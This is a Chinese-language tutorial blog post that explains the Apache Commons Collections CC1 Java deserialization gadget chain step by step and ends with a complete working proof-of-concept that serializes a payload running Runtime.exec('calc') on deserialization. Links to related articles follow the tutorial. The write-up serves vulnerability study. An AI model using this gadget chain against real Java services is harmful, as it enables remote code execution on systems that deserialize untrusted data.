java反序列化漏洞cc_link_one
CC-LINK-one
前言
这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
整体链子
借助前人挖掘的经验我们直接看到Transformer类
看这个类有个方法返回的是Object和接受参数也是Object,这就代表着对我们传入的类没有进行过滤,可以做一下很简单方便的操作,方便就是安全最大的敌人。
看一下它的实现类ctrl+h
今天的漏洞存在主脚是这个IncokerTransformer这个类
在里面看他的Transformer,就看异常处理前面的这个方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
这就是一个很典型的危险函数,具体调用就是 InvokerTransformer.transform,在类的构造函数里面去获取transform参数值,然后transform用这些方法通过反射调用,然后我们看一下利用过程
构造方法第一个值是String methodName,它是对应着IMethodName就是在反射中的Method method = cls.getMethod(iMethodName, iParamTypes);
应该是exec
第二个参数值是paramTypes对应的是iParamTypes也是在Method method = cls.getMethod(iMethodName, iParamTypes);
,对应的是getMethod中方法参数值String.class,因为exec对应的就是String
第三个参数args对应的是method.invoke(input, iArgs)
就是我们要执行的那个String,然后现在给的值是cacl
我来构成尾部
这里的话我们想一想exec是从Runtime这类下来的所以我们要传入的对象是这个Runtime对象,这个Runtime对象是不支持序列化的,这样的话其实很简单也是我们必须要用的我看一下Runtime这个类有些啥
这方法是一个公开静态的方法,那就很简单了直接用Class就行了Class是可以反序列化的
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;//获取class类的Runtime。因为class类是可以序列化的
Method getRuntime = rumtime.getMethod("getRuntime",null
);//这儿是获取方法,这个方法是静态公开无参的下面这个要不要的无所谓
getRuntime.setAccessible(true);
Runtime runtime = (Runtime) getRuntime.invoke(null,null);//方法执行,这个方法会返回一个Runrtime对象,这个对象就是我们要传到InvokerTransformer。ttransformer(Obeject obj)这个obj里面
}
}
看一下构造,我们要利用InvokerTransformer去获取这个Runtime这个对象
第一步:获取Runtime方法
Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
其实这个时候我们就已经拿到那个这个getRuntime,我们去掉getRuntime这个对象的invoke方法去获取一个Runtime对象这里充分体现了一个万物的思想,类是我们的对象我们调用它的方法
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
获取到Runtime对象之后,我们就去调用它的的exec然后去调用计算器试试
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
这里其实就完成了第一个,就是说我们的链子的尾巴找到了。
我来构成身体
搞定前面那个部分,我们已经拿到了最重要的威胁函数,接下来就是找利用链子了,最终是找一个可以重写的readObject对象去调用到我们这个函数。
然后开始全局找一个不同名的函数去调用一下transform,这样我们就可以跳到别的类,函数方便去寻找readObject
在这个map包下面发现很多不同名的函数调用了transform
然后看到了这个checkSetVakue()这个函数
它是一个protected修饰的方法,所以看一下它的构造函数
这个构造函数看起来就是一个类似于装饰器,对一个map的key和value的进行操作,静态代理嘛。
这是一个保护的方法看一下同类下的方法调用
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
知道这个调用了还是试一下用这个去调我们的transfomer,到这里还是要归纳一下这个利用流程。
我们要调用的是我们构造的InvokerTransformer的transform()方法,然后我们在decorate方法中发现对我们的transformer有调用,然后追踪到checkvalue会对我们的transform调用transform(),但是对transform的调用的值是value我们要看看这个value我们怎么调用
通过追踪调用,看一下追出的函数是一个setValue
然后这个parent这个属性的调用是在上面那个MapEntry方法调用,什么是MapEnty是在hashMap的遍历循环的时候每一个键值对就是一个MapEntry
这里的setValue就是那个map的setvalue,它相当于是重写了这个方法,利用流程就是我们遍历HashMap然后去setvalue-checkvalue-transform
看一下没有反序列化的代码
public class demo2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<Runtime> rumtime = Runtime.class;
Runtime r = Runtime.getRuntime();
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
execMethod.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, execMethod);
for(Map.Entry entry:decoratemap.entrySet()){
entry.setValue(r);
}
}
}
我来构成头部
接着往下走,我们已经找到这个map的setvalue去触发这个类了我们要去最后的一个目标一个readObjet调用Map的循环,然后调用一个setvalue
看这个setvalue刚刚好在一个readObject中,一个私有的类,只能通过反射来调用
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decoratemap);
这样就能把这个对象构造出来,到这里这个利用链已经写完了,接下来就是解决一些中途调用的问题。
首先是我们在应对Runtime对象无法序列化的问题是利用transform方法就行循环调用,然后我们在开始的时候就发现过一个循环调用的方法就是利用ChainedTransformer这个数组循环调用
public class demo1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
调用到这里我们的链子已经差不多完成了,再往回看一点,这里我们因为是链式调用嘛我吗要传入第一个setvalue必须是必须是Runtime.class,还有在readObject里面有一些很判断的条件
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
下个断点进行一下调试
这个判断过程是这样的它会去获取我们传入第一个参数就是那个注解的参数名称然后通过那个参数名称去获取map中的值,要那个值不为空,就是我们传入的map的key值那个字符串要跟传入的注解里面那个参数值有相同的
然后这里它的setvalue
接收的是一个AnntationTypeMismatchExceptionProxy
这里调用的checkvalue的value值是一个动态代理的处理器对象
然后这里是我们的命令执行的入口,就这个checkSetValue,然后它第一次调用的是它那个动态代理的处理器,而我们的入口要的是Runtime.class对象这里执行的是也是transform方法
然后我们在前面有一个鸡肋的transform方法这个时候就有用处了
这个ConstantTransformer这个类它的transform方法是一个接收构造函数的参数然后返回值就是构造函数的那个参数,这里我们就可以用它来跳过那个构造器,我们直接用它来构造我们需要的那个Runtime.class对象
完整poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class demo1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// Class<Runtime> rumtime = Runtime.class;
// Method getRuntime =(Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> decoratemap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decoratemap);
serialize(o);
unseriallize("src.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("src.bin"));
oos.writeObject(obj);
}
public static Object unseriallize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
这条链子的总体利用发现和利用过程的就是真的巧妙到了不能再巧妙了,然后自己简单的归纳了一下触发的流程
AnnotationInvocationHandler#{readObject}
AbstractInputCheckedMapDecorator#{setValue}
HashMap控制中间的某个if语句和进入MapEntry方法
(ConstantTransformer)用来控制setvalue的第一个方法
TransformedMap#{checkSetValue}
(ChainedTransformer)这个类用来循环调用InvokerTransformerd.transform()
InvokerTransformer#{transform}
java反序列化漏洞cc_link_one的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
- Java反序列化漏洞的挖掘、攻击与防御
一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
随机推荐
- 【HTML】学习路径4-align对齐-标签属性
每个标签都可以设置各种属性,比如可以给一个段落标签添加一个name的属性: <p name="段落标签1"> 这一节我们学习一个属性:align对齐标签 第一章:ali ...
- 【MySQL】从入门到精通9-数据库的备份(完结)
上期:[MySQL]从入门到精通8-SQL数据库编程 第一章:数据的导出 回到我们的Workbench. 选择Data Export. 选择需要导出的数据库. 注意,如果选择"Export ...
- k8s驱逐篇(3)-kubelet节点压力驱逐-源码分析篇
kubelet节点压力驱逐-概述 kubelet监控集群节点的 CPU.内存.磁盘空间和文件系统的inode 等资源,根据kubelet启动参数中的驱逐策略配置,当这些资源中的一个或者多个达到特定的消 ...
- C语言输入输出格式符
C语言输入输出格式符 printf函数(格式输出函数) 1.一般格式 printf(格式控制,输出表列) 例如:printf("i=%d,ch=%c\n",i,ch); 说明: ( ...
- 【项目实战】Kaggle电影评论情感分析
前言 这几天持续摆烂了几天,原因是我自己对于Kaggle电影评论情感分析的这个赛题敲出来的代码无论如何没办法运行,其中数据变换的维度我无法把握好,所以总是在函数中传错数据.今天痛定思痛,重新写了一遍代 ...
- 彻底掌握Makefile(二)
彻底掌握Makefile(二) 前言 在前面的文章彻底掌握Makefile(一)当中,我们简要的介绍了一些常见的makefile使用方法,在本篇文章当中我们将继续介绍一些makefile当中的常见用法 ...
- 常见Content-Type(MIME)列表
Content-Type(MIME)用于标识发送或接收数据的类型,浏览器根据该参数来决定数据的打开方式.多用于指定一些客户端自定义的文件,以及一些媒体文件的打开方式. 文件扩展名 Content-Ty ...
- Beats:为 Beats => Logstash => Elasticsearch 架构创建 template 及 Dashboard
文章转载自:https://elasticstack.blog.csdn.net/article/details/115341977 前一段时间有一个开发者私信我说自己的 Beats 连接到 Logs ...
- k8s上安装elasticsearch集群
官方文档地址:https://www.elastic.co/guide/en/cloud-on-k8s/current/k8s-quickstart.html yaml文件地址:https://dow ...
- while循环控制
基本语法 例(输出五句hello): int i = 1; //循环变量初始化 while(i<=5){ //循环条件 printf("\n hello!"); //循环语句 ...